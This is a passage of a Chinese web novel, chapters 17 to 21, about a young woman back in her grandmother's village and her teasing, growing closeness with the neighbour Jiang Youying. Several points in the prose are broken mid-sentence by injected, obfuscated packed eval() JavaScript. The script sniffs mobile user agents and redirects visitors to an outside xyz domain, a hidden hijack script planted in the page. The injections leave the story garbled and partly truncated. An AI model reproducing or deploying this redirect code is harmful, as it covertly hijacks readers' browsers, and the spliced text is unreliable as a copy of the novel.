同时松开手,两人退至一边,小手扇风,呼呼直喘气。 打完还得继续干活,拔完毛的大肉鸡拿喷火枪全身上下烤一遍,开膛破肚,砍剁成块。 江有盈举起菜刀,眼神震慑,沈新月不跑,扯着脖子直喊“外婆”。 “告状精。”江有盈暗骂。 她把那只高跟鞋带回来,就是防着这小狐狸精告状。果然。 “别吃我做的饭。”江有盈厨房里剁得震天响。 沈新月学人抱胸靠在门框,“凭啥,鸡是我家的,厨房也是我家的,你才是那个蹭饭的。” “鸡苗是我买的!”江有盈喊:“鸡也是我喂大的。” “你在我家,也是我的。”沈新月下巴尖快翘到天上去。 说完意识到不对,拍拍嘴巴,“呸呸呸呸,是鸡,鸡在我家!” “呵,痴心妄想。”江有盈一刀斩下鸡头,鸡肠子鸡心鸡肝,一把掏出来,呲牙恶狠狠。 “你!你……”沈新月你半天没你出个所以然,灰溜溜跑了。 到院里,外婆拉着她手站在屋檐下,指着卫生间,“热水器坏,你江师傅在网上买了,还没送到,你现在把人得罪死,夜里怎么洗澡?” 沈新月一拍脑门,对哦! 活儿干了一堆,饭不可能不吃,大盆炒鸡端上桌,江有盈喊了声“阿婆”,自顾落座。 沈新月变脸也快,盛饭端她面前,大鸡腿先夹她碗里,“江师傅辛苦了。” 江有盈“哼哼哼”笑,沈新月也“哼哼哼”笑。 “想洗澡呐。”她说。 “想洗澡。”沈新月满脸堆笑。 她眉一竖眼一瞪,“没门儿!” “那我爬窗户。”沈新月向来能屈能伸。 “打断你腿!”她威胁。 “我脏脏臭臭一只,半夜爬你被窝!”沈新月也威胁。 江有盈笑了,“还‘一只’,真会矮化自己,你吃饭要不要宝宝碗啊?” “在姐姐面前,人家就是小小脏脏臭臭的一只。” 沈新月蹲在饭桌边,掌根托腮,“汪汪!汪汪!我是姐姐的小狗。” 外婆大笑。 真服了。“不要脸。”江师傅总结。 “没脸没皮没烦恼呀。”沈新月继续盛饭。 外婆还挺乐意看她们斗嘴,趁着沈新月不在饭桌边,凑近些,“嘟嘟在,小院是不是热闹多了,这孩子从小就招人稀罕,嘴巴可会讲。” 江有盈笑笑,“我跟她恰恰相反,小时候家里的亲戚都不喜欢我,长大也没交到什么朋友。” “那也不是你的错,再说,这世上就是什么人都有才显得热闹,世人要都长一个模样,一个性情,还有什么意思?” 外婆摸摸她的头,“你很好。” 江有盈抿嘴笑一下,模样少见的乖巧。 沈新月端碗回来,瞟到一眼,挨着外婆坐下,老气横秋长叹一声,“你啊,就是心思太重。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870870|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 外婆招呼吃饭,让别乱说话。沈新月本来不觉得,听这口气,江师傅似乎还真有什么不为人知的过去。 今天弄鸡多耽误了些时间,饭吃一半天就黑了,外婆吩咐她去开灯,沈新月这才发现,她们家院里树上也挂了一大圈星星灯。 “肯定也是江师傅装的吧?” 外婆举着鸡爪子啃,“她怕黑。” “怕黑?”沈新月惊讶,“有夜盲症吗?” “女子监狱晚上九点熄灯,熄灯以后总有人摸我。”江师傅满脸清纯说道。 沈新月端个大碗,白眼翻上天,“我就多余问。” 外婆笑得呀,听得出肺很好,沈新月感觉房子都快给老太太笑塌了。 住市里还能请阿姨,在家什么活都得自己干,沈新月倒不是嫌干活累,她就是觉得无聊。 每次洗完碗出来,院里人招呼不打全走光,连养的两只猫也是常常神龙见首不见尾。 她觉得很不公平。都说她招人喜欢,真那么喜欢她,怎么不在她身边待着? 隔壁院子灯开着,喊了几嗓没人应,江有盈不知又上哪儿去了。 沈新月出门往村口大树走,城建跟小时候到底不一样了,每条巷子都牵线竖了路灯,到大树那边更是热闹,好多摆小摊的。 经过咖啡店门前,看小安在里面忙,沈新月就没打招呼,直接走了。不过看到小安,她还真想起来件重要的事。 谁知人还没走出两步,路边一个老太太招手把她喊过去。 “我?”沈新月指着自己鼻尖。 老太太看着眼熟,但死活想不起,她乖乖走过去,“阿婆,你找我什么事。” “娇嘟嘟。”老太太杵着拐看她。 沈新月点点头,“是我,您喊我,是需要什么帮助吗?” “是啊,拜托你帮帮忙,赶紧找个活儿干吧,你家阿婆成天打着你的幌子,在外面耍赖皮出老千,都一把年纪不能拿她怎么样,她还天天吃完饭就来大树底下玩,你管不了她嘛,你也帮老人家省省心了好不好啊。” 老太太双手合十,连连作揖,“求求你帮帮忙好不好。” 咖啡店门前,游客们非常意外,纷纷投来好奇视线,沈新月抬袖捂住脸,调头就跑。 17.第 17 章 沈新月端个小板凳坐在门前等,远远看见老太太哼着小曲一步一蹦跶从巷口走来,立即上前质问:“你打牌为什么要出老千!” 老太太一愣,嘻嘻笑开,“嘟嘟你都知道啦?” 沈新月气得胸痛,“我现在简直就是过街老鼠,名声全让你败光!” “真稀奇,不出老千怎么赢?再说你要名声干什么,又不能当饭吃,你外婆我在外面辛苦搞钱养活你,多不容易?” 她还挺理直气壮的,拉着沈新月,要把自己修炼多年的千术倾囊相授,“你要实在没办法搞钱,以后也能靠打牌勉强养活自己,你知道外婆对你一向期望不高,健康平安就好。” 沈新月气笑,“出千被抓的话,就很难健康平安了。” 外婆从小到老没上过一天班,十几岁就开始打牌,陪家里几个姨娘,来到秀坪以后,她才开始吆喝左邻右舍去大树。 玩得不大,沈新月小时候只是一毛两毛的,现在沈新月长大,几十年过去,也就块把。 靠打牌挣钱养外孙女,更是开玩笑。沈新月她妈早早给她交够养老金,每个月还另打钱,家里大件都是直接买了寄过来,她自己还种菜养鸡,生活成本低至个位数。 出千完全是个人兴趣,喜欢赢,受不得气,只要赢,不在乎别人怎么骂她,心理素质杠杠滴。 “你跟我还有得学呢。”外婆打着哈欠走了,“赶紧洗澡睡觉,明天你还得跟我上山,你妈下午给我打电话,嘴巴又馋了……” 沈新月奇了怪,“怎么她每次打电话你都接得到,我给你打电话,常常是十打九不通。” “你知道为什么吗?”外婆神神秘秘回头。 沈新月眼珠一转,“我运气不好?” “因为你傻,她打的江师傅电话。”外婆说。 不知不觉,江师傅渗透进她家祖孙三代。 “这个女人不简单呐——”沈新月不由感慨道。 早上五点鸡叫,六点画眉叽叽喳喳,七点外婆上楼来敲门。 村里没啥娱乐活动,对手机也逐渐失去兴趣,沈新月睡得早,痛快起了。 她含着牙刷满院子转圈,听外婆说今天江师傅也去,完事快些跑回楼上狂糊粉底液。 收拾完下楼,江有盈已经在院里等,款式简单的针织衫搭配阔腿牛仔裤,素面朝天,神清骨秀。 “今天终于不是衬衫了嗷!”沈新月也去杂物房里翻个竹篮挎着。 “你擦粉了?”江有盈似笑非笑。 “哈哈……” 就此揭过,沈新月回头催促,“外婆快些嘛!” 江有盈开她的电三轮去,沈新月本来挺开心的,结果发现自己还得坐车斗,立即表演一个笑容消失术。 可有什么办法,前面坐不了三个人,总不能让外婆坐车斗。 “要不你拿个小板凳,免得弄脏屁股。”江有盈笑着说。 “我屁股没那么金贵,反正上山回来也得换衣服。”沈新月赌气爬上车斗,抱着自己的篮子。 江有盈没说什么,回了趟院子,再出来手里多个花布蒲团。 她把蒲团扔到沈新月面前,车座前面一个小筐里取了双劳保手套分出去,“土路抖,抓稳了,戴着免得磨破手。” 一双手套两人分,给她的还是右手,沈新月问:“那你呢?” “我开车戴不戴都行。” 江用盈把另外一只给了外婆,担心竹篮子割手。 沈新月还想说什么,江有盈让她别废话,安心戴着。 进山这段路确实不好走,山间本来没有路,去山上摘菌子掐野菜的人多了,一年又一年,车轮和脚印结结实实夯出来的。 前座还好,后座特别颠,一路上,沈新月“哎呦哎呦”个没完,得亏有手套能用胳膊抻着,蒲团垫着,否则屁股都颠烂。 外婆哼她,“你还是坐车来的,你外婆我昨天走路来的呢。” “我宁愿走路。”沈新月叫苦不迭。 “听说城里人现在流行徒步旅行,还有露营,在外面支着帐篷睡觉,你玩过吗?”江有盈回头问。 沈新月最爱赶时髦了,“当然!我什么没玩过,我还有装备呢。” 但在她正式回家之前,全部挂平台上出掉了。 “我去雪山徒步,去雨林徒步,那些名山景点,更别提。” 外婆完全不能理解,“我看你们就是闲的,吃太饱。” “所以才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874491|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要消化消化。” 之前沈新月听外婆说去年着山火,心里还没什么概念,到地方一看,连着几片山坡尽被焚烧摧毁,断枝焦木日光下似有红隐余烬未散,还有小动物经风雨冲刷后留下的骨架残骸。 她心中哀痛,可放眼一望,这满目疮痍中,仍有新新绿意蓬勃生长,去年的草木灰是最好的养分,它们的根还在,雪化后又是一场新生。 路边停车,外婆领她们上山,“今年春天来得早,这片山又比别处更早,小草小花们都等不及了。” “人生不怕从头再来。”江有盈拔了根茅草尖,牙关细细咬,顶端没开花的苞苞是甜的。 “你在鼓励我吗?”沈新月眼眶微微湿红。 这场巨大的挫折,除生命外,将她身边一切都夺走,她嘴上笑嘻嘻,满不在乎耸耸肩说无所谓啊,反正我早就烦透了厌倦了…… 可真的一点没关系吗? “感谢的话不必讲,你叫我一声姑奶奶吧。”江有盈转过身,躲开她晶亮柔软的眼眸。 沈新月眼泪一下憋回去,“啥?” “有件事,你外婆忘跟你讲。”江有盈锁了车,提上竹篮,“我到秀坪的第三个月,你外婆就跟我义结金兰成为了好姐妹,我们在观音庙磕过头的,还有住持见证。” “啥?啥?”沈新月怀疑自己耳朵出问题。 江有盈说:“你外婆跟李致远他奶奶关系不好,隔三差五在院门前掐架,按照你外婆的理解,跟我拜把子以后,李致远他奶奶就是她的侄女辈了。所以你叫我一声姑奶奶,合情合理。” 沈新月站在山脚土路边,眉头深深皱成一个“川”字,她好不解,好困惑。 “这合理吗?” “阿婆觉得合理就合理。”江有盈回答。 “快点呀你们,还愣着干什么。”外婆都爬到半山腰。 手握拳,用力敲打两下额头,沈新月仔细想了想,这确实是她家老太太能干出来的事。 “那我……” 她三步并作两步追上,“那我也该管你叫姑婆的,不叫姑奶奶。” “都行。”江有盈弯腰掐了朵鹅黄的蒲公英花,顺手簪在她耳边,“你开心怎么叫就怎么叫。” 18.第 18 章 外婆说,春天蕨长得快,头一天你看是光秃秃一片,第二天就窜到半米高,怎么判断蕨是不是老了,从下往上顺着杆子撸。 “你那个手指头,稍微带点弧度,但弧度也别太大,凭感觉,找着它身体最为脆嫩的地方,轻轻一掰就到手。” 沈新月交作业,外婆掐一截底端的杆子,点头,“不错,孺子可教。” “嘿嘿——”她得意,“我是谁,我是最聪明的。” 外婆从不吝啬对她的赞美,“是嘞,我家嘟嘟是最聪明的,学东西快得很。” “外婆也厉害,还会出老千,简直就是赌神!” 沈新月说她想明白一件事情,“外婆出了这么多年的老千,还能在大树混,没被人赶回家,这说明什么?外婆魅力无边啊,她们对你即便是恨,那恨里也掺杂着一种复杂的爱。” 外婆用力挥一下拳头,“说得好!” 祖孙俩在这儿商业互吹,江有盈挎着篮子已经走出老远,沈新月草窝里转悠半天,只能捡漏。 她不放心外婆,担心老人家摔着,没急着上前追赶。 “你江师傅才是最能干的。”外婆远远看着她背影,是沈新月见惯那种长辈对小辈的怜爱辛酸。 多余的话不用讲,只通过一个眼神就能概括出她的前半生——不容易。 但具体有多不容易,沈新月是半个字也抠不出来。 “说了你也不懂。” 外婆挥挥手,“上一边去,别在这儿碍手碍脚。” 塑料祖孙情。 石缝里看见一串粉红小花,漫山的黑绿间格外显眼,摸摸耳朵,蒲公英花瓣毛茸茸,沈新月折了那串小花跑上去。 “江师傅,送给你。” “崖豆藤。”江有盈没接,“有毒。” “啊?!”沈新月触电般扔开。 “不往嘴里塞就没事,很多小花小草都是有毒的,保护自己不被吃嘛。”江有盈弯腰捡起,放进篮子里。 “结果还是因为长得漂亮被人摘下。” 沈新月歪头,大眼珠滴溜溜一圈,嘻嘻笑。 江有盈一看就知道这家伙没憋好屁,她明知故问:“想什么呢。” “我在想啊——”沈新月拉长音调,却故作神秘,“不告诉你。” “是不是想说,这些小花小草的,就像我一样,迷人又危险,但实在美丽,充满诱惑。”江有盈淡淡道。 这次,沈新月是真笑了,她笑得捶胸顿足,恨不得满山打滚,脸憋红,嘴咧到耳根,却一点声音不发出,身体小幅度抽动,几乎窒息。 很准,江有盈猜得很准,可这话从她自己嘴里说出来,怎么就那么好笑。尤其搭配她那张面无表情的脸。 “弱智。”江有盈懒得跟她在这儿耽误时间,继续往前。 笑够,沈新月蹦跳跟上,“江师傅!” 江有盈回头,“你的癫痫自愈了?” “是啊,你可太有魅力,我一分钟不在你身边待着,我就难受。”沈新月这句是真心的。 她怎么就那么喜欢在她身边待着呢,还特喜欢把她惹生气,看她板着脸训人。 还是我这人有什么特殊癖好?沈新月晃晃脑袋。 江师傅确实能干,什么都能干,什么能干得好,沈新月眼瞎手又瘸,跟在人后面走了半小时,只收获三五根婴儿蕨。 山上的小野花倒是不少,她这里跑一趟,那里跑一趟,掐了一大把抓在手里,又折了些绿叶子搭配,包装成花束。 今天出门早,没来得及吃东西,江有盈带了饼干、面包和水,随身的挎包里拿出来分给沈新月和外婆。 沈新月手里的花束不能放下,一放就散了,她张大嘴,“谁喂我啊。” 外婆嘴上嫌她娇惯,还是拆了个小面包塞她嘴里。 她鼓着腮帮大嚼特嚼,面包里的奶油馅糊在唇边,明明还有只手闲着,非把脑袋往人跟前凑,“给擦擦。” 外婆把头扭去一边。 “江师傅,帮忙给擦擦呗。”沈新月屁股划了个半圆。 江有盈放下手里的大茶壶,“凑近些。” 依言小碎步往前挪,沈新月下巴尖高高翘起,乖顺垂着眼皮。 对面人一只手捏住她两侧颌骨,猛一下凑近,温热鼻息霎时扩散开,鼻尖堪堪擦过她脸颊,伸舌欲舔。 双眸蓦地睁大,沈新月惊惶后退,趔趄几步,摔倒在草丛。 她手背飞快蹭了下嘴角,奶油还在,没被舔到,回头,外婆吃完面包,撅着屁股趴在地上不知刨什么。 好险。 心跳剧烈,脸发烫,头发晕,沈新月半天才爬起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886703|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她坐在外婆先前的位置,再抬头去看对面江有盈,气定神闲,似乎什么也没发生,笑容却十足轻佻玩味。 干嘛呀,沈新月又羞又气。还是我哪里又做错,惹她不高兴了,要惩罚我?可这哪里是惩罚,分明就是奖赏。 下山快晌午,三个竹篮全装满,外婆让她们拿到镇上去寄,“看到合适的鸡苗带几只回来,我要回家睡午觉。” 沈新月把掐的花束交给外婆,“记得插瓶装水,不然蔫巴了。” “知道知道。”外婆在村口沥青路下车。 车停在路边,江有盈坐在前面,跟外婆挥手再见,沈新月守着三个大竹篮抱腿蜷在后车斗,太阳爬高,有点晒,她把草帽捡起来戴。 等了半分多钟,不见车开,沈新月扭头问:“还有人要去镇上吗?” 江有盈“嗯”了声。 沈新月靠回去,挠挠腮帮子,“女生还是男生啊?” “女生。”江有盈回答。 “小安?”沈新月又问。 江有盈不说话了。 那就不是小安,再说小安还得看店。她眯着眼睛打盹,又等了半分钟,还是忍不住好奇,“到底谁啊,我认识吗?” “我邻居。” 也等得无聊,江有盈低头玩消消乐。 沈新月倒来了兴趣,“你还有别的邻居,你隔壁不是……” 她们家隔壁还住了谁来着,想不起。 “应该是我认识的人吧,来了好几天怎么没见过。” 沈新月把脑袋伸到前面去,指着她手机屏幕,“这里四连可以凑一个炸弹。” 江有盈没听她的,旁边五连,一个更大的炸弹。 沈新月尬笑,游戏通关,江有盈长长叹了口气,“那人你也认识,以前在外地开公司,后来破产,前几天才回村,兜比脸干净,整天在外面混吃混喝,全村出了名的,叫什么来着……” 她故作沉思,竖指,“好像是什么娇嘟嘟。” 沈新月拧着眉毛听半天,前面那一大串愣是没往自己身上代,直到听见“娇嘟嘟”。 这女人把她当猴耍! 正要发怒,沈新月脑筋奇迹拐弯,笑眯双眼,从后车斗跳下来,坐在江有盈身边位置。 “你也真是的。”她摸摸头发,弄皱的衣摆抻平。 19.第 19 章 电三轮的人造革海绵垫子比藤编蒲团软和得不是一星半点,沈新月咧着排小白牙,笑容收不住。 江有盈的电三轮跟一般人的不一样,是香的,沈新月开始没反应过来,小狗似嗅,找她的车载香薰。 嗅着嗅着,脑袋越凑越近,快钻人家衣领子里去。 “干什么?”江有盈推她一把。 她恍然“哦”一声,揉揉鼻端,“就是高兴嘛。” “能高兴成这样?”江有盈好笑,“只是换个座次。” “对啊对啊。”沈新月趁机道:“只是换个座次都高兴成这样,可见你平时对我有多苛刻!自己好好反省反省。” 江有盈不屑哼声,沈新月蹭朋友婚礼上的顶级豪车都没这么兴奋过,“咱这也算是个敞篷了,我坐这边不影响你开车吧?我屁股小的。” “屁股小你还挺光荣。”江有盈启动车子,路口调头。 沈新月朝后摸了把,“其实也不小,我说错了,肉墩墩的,很饱满呢。” “那你下去吧,我容不得别人屁股比我大。”小电三轮开得四平八稳,江有盈脸上很少出现夸张表情,说话调子也不慌不忙,偏偏嘴里的话常常让人意想不到。 怎么说呢,直白些,就是一点看不出她私底下那么骚。当然,仅限熟人。 沈新月没注意她屁股,她大多时候穿宽松的工装裤和牛仔裤,只记得她小腰特别细,要来也得屁股够顶够翘才能凸显出。 “那跟姐姐比肯定略逊一筹啦!”沈新月赶忙奉承道。 车子上路,风从两侧来,清暖和畅,吹动耳边长发,红白桃李零星散布在山野和田坎边,农人织春,蜂蝶酿蜜,天上地下一派欣荣佳景。 沈新月长长叹了口气。 以为她不高兴,江有盈短暂分给她视线,“怎么了。” “没,就是感慨。”沈新月把那口气吸回去,肺里充够氧。 “其实一辈子待在这儿挺不错的,日出而作日入而息,少点勾心斗角,尔虞我诈,最大的烦恼是下一顿吃什么。” 说到这里,她又忍不住好奇,装作不经意问道:“说起来,你是怎么到秀坪这地方的呀?” 江有盈笑了下,对她的拙劣演技。 “跟李致远结婚呗,还能怎么。” “我知道,我是问怎么到江城的。”沈新月认真观察过,她会说方言,但说得不好,不正宗,有时候听起来还挺有趣的,傻傻可爱。 她说普通话就很好,字正腔圆,沈新月猜她可能是北方来的。 也许是太久没人向她问询过,江有盈两手握着车把,顺着笔直的乡道一直往前开,兀自出了会儿神才道:“或许是缘分,江城,也有一个江字。” “我十五六岁的时候,有次独自离家,不知该往哪里去,但当时的情况,我必须要有一个地方去。我在火车站售票大厅,售票员问我要去哪里,我听到前面一个人说江城,我就跟着说了。” 她音色低而缓,几乎要散在风里,沈新月全神贯注,把每一个字都认真装进耳朵。 她大发慈悲泄露出的那么一小点,却更加引人好奇,沈新月问:“你跟家里吵架,离家出走吗?” 江有盈又笑了一下,“算是吧。” “然后呢?”趁着她心情好,沈新月继续探听。 “只待了几天,身上钱还没花完,我就回去了。我住在江边的小旅馆,每天醒来睁开眼,从那扇四四方方的小窗望出去,是宽阔的江面还有无数的轮船,好几次,我真希望可以长出一双翅膀,飞到船上去,跟着船,跟着水,寻找一个真正的世外桃源,然后躲起来。” 沈新月凝视身边人清隽侧脸,她鼻梁高挺,有个小小的驼峰,眼皮薄薄的一道褶,眉骨稍稍往下压,显得深沉,今天外出又是那件蓝白格的棉布衬衫。 “那现在你的愿望实现了吗?”沈新月轻声问道。 “实现了。”江有盈肯定点头。 “那又是什么样的机缘巧合,结识了李致远?”沈新月心快跳到嗓子眼。 “我是先认识的他奶奶。”江有盈说。 沈新月两手攥拳,“怎么认识的?” 刚摸着个线头,还没来得及伸手拽,不知江师傅又受什么刺激,蓦地扯回,一脚刹车,转过脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894235|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我跟你很熟吗?打听那么多。” “还不熟吗?”沈新月收着力气轻轻跺了下脚踏板,“我的事你全知道,你简直快把我扒光了。” “没听说过。” 江有盈重新启动车子,“真论起来,也是你主动脱光的。” “我主动脱光……”说得她多猴急似的。 才没有呢。 到镇上快中午,江有盈把车停在快递站外面马路边。 沈新月乖乖去提篮子,“这些用不着全都寄吧。” “给你妈寄点,给李致远她奶奶寄点。”江有盈说。 看得出她常来,一进门就有人跟她打招呼,喊“江师傅”。江有盈扫码,地址早就存在手机里,她直接下单付款,里面人拿了两个泡沫箱出来,菜整整齐齐码进去。 沈新月瞄了眼单号,还真是妈妈的地址。 “你的地址我也有,春节的香肠腊肉,端午的甜咸粽子,还有中秋的手工月饼,都是我给你寄的。” 江有盈说着走出快递站,叉腰站在路边,“剩下的蕨菜拿去卖了吧?” 沈新月站在快递站门口,好半天没回过神。 她从三年前开始收到江有盈说的那些东西,算算时间,那时江有盈确实刚到秀坪。只是她从来没注意看快递单号上的姓名电话,还打趣说外婆什么时候变那么勤快了。 沈新月追出去,站到她面前,“那些东西都是你亲生的吗?” “啊?”江有盈皱眉。 不是,说错了! 沈新月用力敲了下额头,“我是说,那些东西都是你亲手做的吗?” “不然呢?” 她自顾自点头,“找个饭店卖了吧,我正好认识个开饭店的老板。” “你为什么要给我做。”沈新月拉住她的手,很用力很认真地看着她,心里有股热热的东西,像小时候吃的流心白糖包子。 “你外婆太懒了。” 江有盈挣了一下手腕,没挣开,“作为她的好姐妹,帮她分担一些。” 如果必须有正确答案,沈新月是她很羡慕,很想成为的那种女孩。 20.第 20 章 知道她小时候所有丢人事,看过她从出生到现在全部照片,逢年过节还专门给她寄好吃的。 迷路时接引,落魄时照应,孤单时陪伴…… 江师傅爱得深沉。 沈新月紧紧拉住她手不松,心里有一万句话要讲,张口却哑声,千丝万缕,茫然无着。 “干嘛?” 中午日头晒,江有盈探身,车斗里捡起草帽,把菜篮子盖起来。 松手放了她,心中霎时一空,急迫想抓住什么,微微潮热的掌心攥紧衣摆,沈新月小碎步跟在她身边,“其实,我现在不着急谈恋爱。” 她一没钱,二没工作,三还倒欠一屁股债,拿什么对人家好? 镇名长水,恰逢大集天,街市上人来人往,叫卖吆喝,嘈杂喧嚷。 人群中,彼此对望,迎着光叫太阳晒眯眼,江有盈微微皱眉,“干嘛跟我说这些,什么意思你。” “你的心意,我都明白。”大概是为无法回应她的爱慕之情而感到苦恼,沈新月也深深皱眉。 “怪不得,我们第一次见面,你会跟我说那样的话,我当时还,还挺那啥,但现在我全想通了。” 原来江师傅口中常出现的,“你不要喜欢上我”的潜台词是“我早就喜欢上你了,尽管你一无所知”。 对的人,却是错的时机。 悲乎! “原来一切都是有迹可循,都是有发源的,我还误解你,在心里胡乱给你贴标签,觉得你是轻浮的人。” 沈新月非常自责,江师傅默默付出了多少年才终于守得云开,就算她言行举止孟浪了些那又怎么样呢?让她放纵一回又怎么样呢?! “是我对不起你。”沈新月总结。 默了几秒,捏捏眉心,江有盈站到路边行道树下,“然后呢。” “其实我非常不忍心,但我必须得跟你说清楚。” 沈新月通过肢体再一次表达了自己的惋惜,她又去拉人家手。 香樟树浓荫遮挡,稍稍舒展了眉,江有盈静静看着她。 “我们是不能在一起的。”沈新月遗憾宣布。 尽管她对她感觉非常不错,欣赏她人美心善,仰慕她精明强干,行事洒脱,偶尔恶作剧也并不惹人厌烦,还挺可爱。 “你接我回家,带我洗澡,给我送生活用品,请我喝咖啡,还各种安慰我,我真的非常感激。但这世上不是只有爱情一种选项,我们可以做好朋友。” 她请求她,不要因此而疏远,“继续做朋友,可以吗?” 举目望天,对生活中的一切神通广大从来无所不能的江师傅,这次真给整无语了。 面前人一双黑眼珠殷殷期盼,江有盈伸出右手,轻轻摸了下她的头,好温柔的调子,“这也不是屁股啊。” 屁股?怎么又提到屁股。 沈新月挠挠发顶,“当然不是屁股,这是我的头。” “原来如此。”江有盈收回手。 她转身,坐到电三轮主驾位,“你过来这边说,本来就不够灵光,再把脑浆都晒干了。” 什么意思,骂我?沈新月乖乖到她跟前,“难道你不喜欢我。” 江有盈笑,反握住她手,两手包饺子似包起,手心手背来来回回摸,“怎么会不喜欢,可喜欢了,你多可爱啊。” 像哄小孩,又像安抚家里的宠物狗。 “乖,上车吧,抓紧卖菜,找地方吃午饭去,都饿急眼了。” “那我们还能做朋友吗?”沈新月小心翼翼问道。 “当然了,我们是邻居嘛,我又是你姑婆,虽说辈分比你高些,但岁数差不了多少,本来就应该成为朋友。” 江有盈很好说话的样子,松手,拍拍位置,“快来。” “你也不要太难过。”沈新月坐到她身边。 江有盈“嗯”一声,“别担心,我会自己调节好情绪的。” 说完启动车子,避开路边几个菜摊,前面调头。 沈新月一路偷瞄,可这位姐姐怎么看都不像伤心啊。 也许只是强撑? 十字路口有家大饭店,说大当然比不上市里的酒楼,但在长水镇这种地方,上下两层,三四个停车位的面积,不算小了。 江有盈在路边锁了车,招呼沈新月提上竹篮,“上饭店,快准狠,效率高,但十分考验脸皮,你去碰碰运气吧,卖多少钱你都自己揣着。” 要有钱了!还是自己劳动所得,沈新月眼睛一下就亮了,“你说真的?” 江有盈拿出手机准备打电话,“篮子里都是你采的,卖的钱当然也算你的。我还有些事要处理,你自己去。” 那边电话接通,江有盈走树底下不理她了,沈新月回头看眼饭店大门,挎上篮子走进去。 中午店里不少食客,浓浓酒菜香勾得肚里馋虫咕咕叫,瞄见旁边小桌上一盘辣椒炒肉,沈新月偷偷咽口水。 见有顾客上门,服务员主动来迎,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈新月揪住隔壁桌一位食客,直接把篮子提人家面前,“瞧瞧咱的蕨,新鲜得不得了。” “可以,炒腊肉安逸。”大哥抿酒,相当配合。 “咱店里有吧,哎呀说得我都馋了,中午饭还没吃呢。” 江有盈既然叫她来卖菜,店里肯定有收,沈新月支着脑袋四处望,找着菜单,果然,蕨菜炒腊肉是店里招牌。 “那我给您放后厨去了。”沈新月提着篮子直接往里走。 “你这个……”大姐跟上,终于找着突破口,“参差不齐,长短不一,老的老嫩的嫩,不太好啊。” “从秀坪过来也就半个小时,确实新鲜。”沈新月答非所问。 她找着称,竹篮往称上一搁,“还真不少,五斤多呢,我也不清楚市价,反正江师傅介绍来的,您看着给吧。” 21.第 21 章 与人沟通,是一门艺术。 要换作寻常饭店,沈新月真不至于这么嚣张,可这位大姐明显是江有盈的托儿嘛! 她一说“江师傅”,大姐绷不住了,笑着来牵她,“你俩真是,玩什么小游戏一唱一和的。” 乡下菜是真便宜,五六斤蕨菜才卖了小安店里一杯咖啡钱,还是野生的、新鲜的时令菜。 沈新月记得以前在超市买过,大几十块钱就一抓手,焯完水还不够两筷子。 大姐叫黄芳,沈新月嘴甜,喊她“芳芳姐”,管她要的现金,钱小心揣兜,拉着她打听,“姓江的电话里怎么说?” 芳芳姐不可能出卖朋友,“人就在大门口,自己去问呗。” 对沈新月倒是挺好奇的,“你长得有点像那个谁……”她眯眼回忆,随后猛一拍大腿,“沈硕!你妈是不叫沈硕,沈大导演,欸那你是不是也出道了,城里私生饭太多,来乡下躲躲,顺道体验生活。” “芳芳姐懂得还真不少,可惜我妈从来没打算捧我。” 沈新月她妈是秀坪,长水,乃至江城一带的超级大名人,她跟妈妈长得像,走大街上被人认出来很正常,本地人对本地名人都有特别滤镜。 上山打野是无本买卖,沈新月瞅准商机,“姐明天还要蕨吗?我继续给你送吧,这季节蕨还没大量上市,你收也不好收,我每天上午去采,下午就给你送过来,怎么样?” 她说话好听,人也好看,芳芳姐挺待见她,一直笑眯眯的。 “收菜倒是没啥问题……”芳芳姐想了想,趁机提出需求,“你帮我弄一张你妈的签名怎么样?” 签名不好弄,她妈从来不随便签名,这玩意也得谨慎,部分特定情况是具备法律效力的。 沈新月换了个思路坑妈,“那我直接打个视频,让你跟她见面得了。” “啊?”芳芳姐吓一跳,捂着小心脏,“我还能见着她……” 饭店二楼没什么客人,芳芳姐拉着她上去,进了库房想想又去趟卫生间,对镜整理妆容。 收拾好,两人坐在桌前,沈新月把手机架在中间,给妈妈打视频。 